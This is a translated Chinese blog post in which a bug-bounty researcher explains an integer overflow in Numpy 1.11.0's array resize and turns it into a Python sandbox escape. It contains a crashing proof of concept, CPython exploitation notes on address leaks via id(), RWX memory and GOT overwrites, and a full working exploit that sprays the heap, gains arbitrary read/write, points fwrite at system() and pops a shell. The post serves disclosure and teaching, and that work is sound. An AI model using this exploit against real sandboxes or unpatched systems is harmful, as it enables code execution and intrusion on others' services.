几周之前心痒难耐的我参与了一段时间的漏洞赏金计划。业余这个漏洞赏金游戏最艰巨的任务就是挑选一个能够获得最高回报的程序。不久我就找到一个存在于Python沙盒中执行的用户提交代码的Web应用程序的bug,这看起来很有趣,所以我决定继续研究它。
进过一段时间的敲打之后,我发现了在Python层实现沙盒逃逸的方法。报告归档了,漏洞几天内及时被修复,得到了一笔不错的赏金。完美!这是一个我的漏洞赏金征程的完美开端。但这篇博文不是关于这篇报告的。总之,从技术的角度来说我发现这个漏洞的过程并不有趣。事实证明回归总可能发生问题。
起初并不确信Python沙盒的安全性会做的如此简单。没有太多细节,沙盒使用的是操作系统级别隔离与锁定Python解释器的组合。Python环境使用的是自定义的白名单/黑名单的方式来阻止对内置模块,函数的访问。基于操作系统的隔离提供了一些额外的保护,但是它相较于今天的标准来说已经过时了。从Python解释器的逃离并不是一个完全的胜利,但是它能够使攻击者危险地接近于黑掉整个系统。
因此我回到了应用程序进行了测试。没有运气,这确实是一个困难的挑战。但突然我有了一个想法——Python模块通常只是大量C代码的封装。这里肯定会有未被发现的内存破坏漏洞。领用内存破坏我就能够突破Python环境的限制。
从哪里开始呢?我知道沙盒内部导入模块的白名单。或许我该先运行一个分布式的AFL fuzzer?还是一个符号执行引擎?抑或使用先进的静态分析工具来扫描他们。当然,我可以做其中任何事情,可能我只需要查询一些bug跟踪器。
结果表明在狩猎之初我并没有这个先见之明,但问题不大。直觉引导我通过手动代码审计和测试发现一个沙盒白名单模块中的一个可利用的内存破坏漏洞。这个漏洞存在于Numpy中,一个基本的科学计算库——是许多流行包的核心包括scipy和pandas。要想了解Numpy作为漏洞根源的一大潜力,我们先来查看一下代码的行数。
在这篇文章的其余部分,首先我将描述导致这个漏洞的触发条件。接下来,我将讨论一些漏洞利用开发人员应该了解的CPython运行时的奇事,然后我将逐步进入实际的利用。最后,我总结了一些Python应用程序中量化内存损坏问题的想法。
漏洞
我将要讨论漏洞是Numpy v1.11.0(或许是更旧版本)中的整数溢出错误。自v1.12.0以来,该问题已经解决,但没有发布安全公告。
该漏洞驻留在用于调整Numpy的多维数组类对象(ndarray和friends)的API中。定义数组形状的元组调用了resize,其中元组的每个元素都是维度的大小。
- $ python
- >>> import numpy as np
- >>> arr = np.ndarray((2, 2), ‘int32’)
- >>> arr.resize((2, 3))
- >>> arr
- array([[-895628408, 32603, -895628408],
- [ 32603, 0, 0]], dtype=int32)
是的这个元组会泄漏未初始化的内存,但在这篇博文中我们不会讨论这个问题
如上所言,resize实质上会realloc 一个buffer,其大小是元组形状和元素大小的乘积。因此在前面的代码片段中,arr.resize((2,3))等价于 realloc(buffer,2*3*sizeof(int32)). 下一个代码片段是C中resize的重写实现。
- NPY_NO_EXPORT PyObject *
- PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck,
- NPY_ORDER order)
- {
- // npy_intp is `long long`
- npy_intp* new_dimensions = newshape->ptr;
- npy_intp newsize = 1;
- int new_nd = newshape->len;
- int k;
- // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff)
- npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize;
- for(k = 0; k < new_nd; k++) {
- newsize *= new_dimensions[k];
- if (newsize <= 0 || newsize > largest) {
- return PyErr_NoMemory();
- }
- }
- if (newsize == 0) {
- sd = PyArray_DESCR(self)->elsize;
- }
- else {
- sd = newsize*PyArray_DESCR(self)->elsize;
- }
- /* Reallocate space if needed */
- new_data = realloc(PyArray_DATA(self), sd);
- if (new_data == NULL) {
- PyErr_SetString(PyExc_MemoryError,
- “cannot allocate memory for array”);
- return NULL;
- }
- ((PyArrayObject_fields *)self)->data = new_data;
发现漏洞了吗? 可以在for循环(第13行)中看到,每个维度相乘以产生新的大小。稍后(第25行),将新大小和元素大小的乘积作为数组大小传递给realloc。在realloc之前有一些关于大小的验证,但是它不检查整数溢出,这意味着非常大的维度可能导致分配大小不足的数组。 最终,这给攻击者一个可利用的exploit类型:通过从具有溢出数组的大小索引来获得读写任意内存的能力。
让我们来快速开发一个poc来验证bug的存在
- $ cat poc.py
- import numpy as np
- arr = np.array('A'*0x100)
- arr.resize(0x1000, 0x100000000000001)
- print "bytes allocated for entire array: " + hex(arr.nbytes)
- print "max # of elemenets for inner array: " + hex(arr[0].size)
- print "size of each element in inner array: " + hex(arr[0].itemsize)
- arr[0][10000000000]
- $ python poc.py
- bytes allocated for entire array: 0x100000
- max # of elemenets for inner array: 0x100000000000001
- size of each element in inner array: 0x100
- [1] 2517 segmentation fault (core dumped) python poc.py
- $ gdb `which python` core
- ...
- Program terminated with signal SIGSEGV, Segmentation fault.
- (gdb) bt
- #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,
- base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651
- #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)
- at numpy/core/src/multiarray/mapping.c:1619
- #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…
- (gdb) x/i $pc
- => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx)
- (gdb) x/g $rcx
- 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f
Cpython 运行时的一些奇怪之处
在开发exp之前,我想讨论一些CPython运行时的特征来简化exp的开发,同时讨论一些阻扰exp开发的方法。 如果您想直接进入漏洞利用,请直接跳过本节。
内存泄露
通常,首要障碍之一就是要挫败地址空间布局随机化(ASLR)。 幸运的是,对于攻击者来说,Python使这变得很容易。 内置id函数返回对象的内存地址,或者更准确地说,封装对象的PyObject结构的地址。
- $ gdb -q — arg /usr/bin/python2.7
- (gdb) run -i
- …
- >>> a = ‘A’*0x100
- >>> b = ‘B’*0x100000
- >>> import numpy as np
- >>> c = np.ndarray((10, 10))
- >>> hex(id(a))
- ‘0x7ffff7f65848’
- >>> hex(id(b))
- ‘0xa52cd0’
- >>> hex(id(c))
- ‘0x7ffff7e777b0’
在现实世界的应用程序中,开发人员应确保不向用户暴露id(object)。 在沙盒的环境中,你不可能对此行为做太多的擦奥做,除了可能将id添加进黑名单或重新实现id来返回哈希。
理解内存分配行为
了解分配器对于编写exp至关重要。Python对不同的对象类型和大小实行不同的分配策略。我们来看看我们的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy数组0x7ffff7e777b0的位置。
- $ cat /proc/`pgrep python`/maps
- 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7
- 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7
- 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7
- 00962000–00fa8000 rw-p 00000000 00:00 0 [heap] # big string
- ...
- 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array
- ...
- 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string
Python 对象结构
溢出和破坏Python对象的元数据是一个很强大的能力,因此理解Python对象如何是表示的很有用。Python对象都派生自PyObject,这是一个包含引用计数和对象实际类型描述符的结构。 值得注意的是,类型描述符包含许多字段,包括可能对读取或覆盖有用的函数指针。
先检查一下我们在前面创建的小字符串。
- (gdb) print *(PyObject *)0x7ffff7f65848
- $2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>}
- (gdb) print *(PyStringObject *)0x7ffff7f65848
- $3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = “A”}
- (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval
- 0x7ffff7f6586c: ‘A’ <repeats 200 times>...
- (gdb) ptype PyString_Type
- type = struct _typeobject {
- Py_ssize_t ob_refcnt;
- struct _typeobject *ob_type;
- Py_ssize_t ob_size;
- const char *tp_name;
- Py_ssize_t tp_basicsize;
- Py_ssize_t tp_itemsize;
- destructor tp_dealloc;
- printfunc tp_print;
- getattrfunc tp_getattr;
- setattrfunc tp_setattr;
- cmpfunc tp_compare;
- reprfunc tp_repr;
- PyNumberMethods *tp_as_number;
- PySequenceMethods *tp_as_sequence;
- PyMappingMethods *tp_as_mapping;
- hashfunc tp_hash;
- ternaryfunc tp_call;
- reprfunc tp_str;
- getattrofunc tp_getattro;
- setattrofunc tp_setattro;
- PyBufferProcs *tp_as_buffer;
- long tp_flags;
- const char *tp_doc;
- traverseproc tp_traverse;
- inquiry tp_clear;
- richcmpfunc tp_richcompare;
- Py_ssize_t tp_weaklistoffset;
- getiterfunc tp_iter;
- iternextfunc tp_iternext;
- struct PyMethodDef *tp_methods;
- struct PyMemberDef *tp_members;
- struct PyGetSetDef *tp_getset;
- struct _typeobject *tp_base;
- PyObject *tp_dict;
- descrgetfunc tp_descr_get;
- descrsetfunc tp_descr_set;
- Py_ssize_t tp_dictoffset;
- initproc tp_init;
- allocfunc tp_alloc;
- newfunc tp_new;
- freefunc tp_free;
- inquiry tp_is_gc;
- PyObject *tp_bases;
- PyObject *tp_mro;
- PyObject *tp_cache;
- PyObject *tp_subclasses;
- PyObject *tp_weaklist;
- destructor tp_del;
- unsigned int tp_version_tag;
- }
有许多有用的字段可用于读取或写入类型指针,函数指针,数据指针,大小等。
Shellcode like it’s 1999
ctypes库作为Python和C代码之间的桥梁。它提供与C兼容的数据类型,并允许在DLL或共享库中调用函数。许多具有C绑定或需要调用共享库的模块需要导入ctypes。
我注意到,导入ctypes会导致以读/写/执行权限设置的4K大小的内存区域。 如果还不明显,这意味着攻击者甚至不需要编写一个ROP链。假定你已经找到了RWX区域。利用一个bug就像把指针指向你的shellcode一样简单。
自己测试一下!
- $ cat foo.py
- import ctypes
- while True:
- pass
- $ python foo.py
- ^Z
- [2] + 30567 suspended python foo.py
- $ grep rwx /proc/30567/maps
- 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0
进一步调查发现libffi的封闭API负责mmap RWX区域。 但是,该区域不能在某些平台上分配RWX,例如启用了selinux或PAX mprotect的系统,但有一些代码可以解决这个限制。
我没有花太多时间尝试可靠地RWX mapping,但是从理论上讲,如果你有一个任意读取的exploit原函数,应该是可能的。 当ASLR应用于库时,动态链接器以可预测的顺序映射库的内存。库的内存包括库私有的全局变量和代码本身。 Libffi将对RWX内存的引用存储为全局。例如,如果在堆上找到指向libffi函数的指针,则可以将RWX区域指针的地址预先计算为与libffi函数指针的地址的偏移量。每个库版本都需要调整偏移量。
The Exploit
我在Ubuntu 14.04.5和16.04.1上测试了Python2.7二进制文件的安全相关编译器标志。 发现几个弱点,这对攻击者来说是非常有用的:
部分RELRO:可执行文件的GOT seciotn,包含动态链接到二进制文件的库函数的指针,是可写的。 例如,exploits可以用system()替换printf()的地址。
没有PIE:二进制不是位置无关的可执行文件,这意味着当内核将ASLR应用于大多数内存映射时,二进制本身的内容被映射到静态地址。 由于GOT seciotn是二进制文件的一部分,因此PIE使攻击者更容易找到并写入GOT。
虽然CPython是一个充满了漏洞开发工具的环境,但是有一些力量破坏了我的许多漏洞利用尝试,并且难以调试。
垃圾收集器,类型系统以及可能的其他未知的力将破坏您的漏洞利用,如果您不小心克隆对象元数据。
id()可能不可靠。由于一些原因我无法确定,Python有时会在使用原始对象时传递对象的副本。
分配对象的区域有些不可预测。由于一些原因我无法确定,特定的编码模式导致缓冲区被分配到brk堆中,而其他模式会在一个python指定的mmap’d堆中分配。
在发现numpy整数溢出后不久,我向提交了一个劫持指令指针的概念证明的报告,虽然没有注入任何代码。 当我最初提交时,我没有意识到PoC实际上是不可靠的,并且我无法对其服务器进行正确的测试,因为验证劫持指令指针需要访问core dump或debugger。 供应商承认这个问题的合法性,但是比起我的第一份报告,他们的给的回报比较少。
还算不赖
我不是一个漏洞利用开发者,但挑战自己是我做得更好。 经过多次试错,我最终写了一个似乎是可靠exp。 不幸的是,我无法在供应商的沙盒中测试它,因为在完成之前更新了numpy,但是在Python解释器中本地测试时它的工作正常。
在高层次来说上,漏洞利用溢出numpy数组的大小来获得任意的读/写能力。 原函数用于将系统的地址写入fwrite的GOT / PLT条目。 最后,Python内置的print调用fwrite覆盖,所以现在你可以调用print ‘/bin/sh’来获取一个shell,或者用任何命令替换/ bin / sh。
我建议从自下而上开始阅读,包括评论。 如果您使用的是不同版本的Python,请在运行该文件之前调整fwrite和system的GOT位置。
- import numpy as np
- # addr_to_str is a quick and dirty replacement for struct.pack(), needed
- # for sandbox environments that block the struct module.
- def addr_to_str(addr):
- addr_str = "%016x" % (addr)
- ret = str()
- for i in range(16, 0, -2):
- retret = ret + addr_str[i-2:i].decode('hex')
- return ret
- # read_address and write_address use overflown numpy arrays to search for
- # bytearray objects we've sprayed on the heap, represented as a PyByteArray
- # structure:
- #
- # struct PyByteArray {
- # Py_ssize_t ob_refcnt;
- # struct _typeobject *ob_type;
- # Py_ssize_t ob_size;
- # int ob_exports;
- # Py_ssize_t ob_alloc;
- # char *ob_bytes;
- # };
- #
- # Once located, the pointer to actual data `ob_bytes` is overwritten with the
- # address that we want to read or write. We then cycle through the list of byte
- # arrays until we find the one that has been corrupted. This bytearray is used
- # to read or write the desired location. Finally, we clean up by setting
- # `ob_bytes` back to its original value.
- def find_address(addr, data=None):
- i = 0
- j = -1
- k = 0
- if data:
- size = 0x102
- else:
- size = 0x103
- for k, arr in enumerate(arrays):
- i = 0
- for i in range(0x2000): # 0x2000 is a value that happens to work
- # Here we search for the signature of a PyByteArray structure
- j = arr[0][i].find(addr_to_str(0x1)) # ob_refcnt
- if (j < 0 or
- arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or # ob_size
- arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc
- continue
- idx_bytes = j+0x28 # ob_bytes
- # Save an unclobbered copy of the bytearray metadata
- saved_metadata = arrays[k][0][i]
- # Overwrite the ob_bytes pointer with the provded address
- addr_string = addr_to_str(addr)
- new_metadata = (saved_metadata[0:idx_bytes] +
- addr_string +
- saved_metadata[idx_bytes+8:])
- arrays[k][0][i] = new_metadata
- ret = None
- for bytearray_ in bytearrays:
- try:
- # We differentiate the signature by size for each
- # find_address invocation because we don't want to
- # accidentally clobber the wrong bytearray structure.
- # We know we've hit the structure we're looking for if
- # the size matches and it contents do not equal 'XXXXXXXX'
- if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX':
- if data:
- bytearray_[0:8] = data # write memory
- else:
- ret = bytearray_[0:8] # read memory
- # restore the original PyByteArray->ob_bytes
- arrays[k][0][i] = saved_metadata
- return ret
- except:
- pass
- raise Exception("Failed to find address %x" % addr)
- def read_address(addr):
- return find_address(addr)
- def write_address(addr, data):
- find_address(addr, data)
- # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These
- # addresses are static for a given Python binary when compiled without -fPIE.
- # You can obtain them yourself with the following command:
- # `readelf -a /path/to/python/ | grep -E '(system|fwrite)'
- SYSTEM = 0x8eb278
- FWRITE = 0x8eb810
- # Spray the heap with some bytearrays and overflown numpy arrays.
- arrays = []
- bytearrays = []
- for i in range(100):
- arrays.append(np.array('A'*0x100))
- arrays[-1].resize(0x1000, 0x100000000000001)
- bytearrays.append(bytearray('X'*0x102))
- bytearrays.append(bytearray('X'*0x103))
- # Read the address of system() and write it to fwrite()'s PLT entry.
- data = read_address(SYSTEM)
- write_address(FWRITE, data)
- # print() will now call system() with whatever string you pass
- print "PS1='[HACKED] $ ' /bin/sh"
运行此exp会返回给你一个shell
- $ virtualenv .venv
- Running virtualenv with interpreter /usr/bin/python2
- New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2
- Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python
- Installing setuptools, pkg_resources, pip, wheel...done.
- $ source .venv/bin/activate
- (.venv) $ pip install numpy==1.11.0
- Collecting numpy==1.11.0
- Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl
- Installing collected packages: numpy
- Successfully installed numpy-1.11.0
- (.venv) $ python --version
- Python 2.7.12
- (.venv) $ python numpy_exploit.py
- [HACKED] $
如果您不运行Python 2.7.12,请参阅漏洞利用中的注释,了解如何使其适用于您的Python版本。
量化风险
众所周知,Python的核心和许多第三方模块都是C代码的封装。也许不被认识到,内存破坏在流行的Python模块中一直没有像CVE,安全公告,甚至在发行说明中提到安全修补程序一样被报告。
是的,Python模块中有很多内存损坏的bug。 当然不是所有的都是可以利用的,但你必须从某个地方开始。为了解释内存破坏造成的风险,我发现使用两个独立的用例来描述对话很有用:常规Python应用程序和沙盒不受信任的代码。
正则表达式
我们关心的应用程序类型是具有有意义的攻击面的那些。考虑Web应用程序和其他面向网络的服务,处理不受信任的内容,系统特权服务等的客户端应用程序。许多这些应用程序导入由成堆C代码便宜而来的Python模块,且将其内存破坏视为安全问题。这个纯粹的想法可能会使一些安全专业人员夙夜难寐,但实际上风险通常被忽视或忽视。我怀疑有几个原因:
- 远程识别和利用内存破坏问题的难度相当高,特别是对于闭源和远程应用程序。
- 应用程序暴露不可信输入路径以达到易受攻击的功能的可能性可能相当低。
- 意识不足,因为Python模块中的内存损坏错误通常不会被视为安全问题。
公平地说,由于某些随机Python模块中的缓冲区溢出而导致入侵的可能性可能相当低。但是,再次声明,内存破坏的缺陷在发生时可能是非常有害的。有时它甚至不会让任何人明确地利用他们来造成破坏。更糟糕的是,当库维护者在安全性方面不考虑内存破坏问题时,给库打上安全补丁是不可能的。
如果您开发了一个主要的Python应用程序,建议您至少使用流行的Python模块。尝试找出您的模块依赖的C代码数量,并分析本地代码暴露于应用程序边缘的潜力。
沙盒
一些服务允许用户在沙箱内运行不受信任的Python代码。 操作系统级的沙盒功能,如linux命名空间和seccomp,最近才以Docker,LXC等形式流行起来。不行的是,今日仍然可以发现用户使用较弱的沙盒技术 – 在chroot形式的OS层更糟糕的是,沙盒可以完全在Python中完成(请参阅pypy-sandbox和pysandbox)。
内存破坏完全打破了OS不执行沙盒这一原则。 执行Python代码子集的能力使得开发远exp比常规应用程序更加方便。即使是由于其虚拟化系统调用的双进程模型而声称安全的Pypy-sandbox也可能被缓冲区溢出所破坏。
如果您想运行任何不受信任的代码,请投入精力建立一个安全的操作系统和网络架构来沙盒执行它。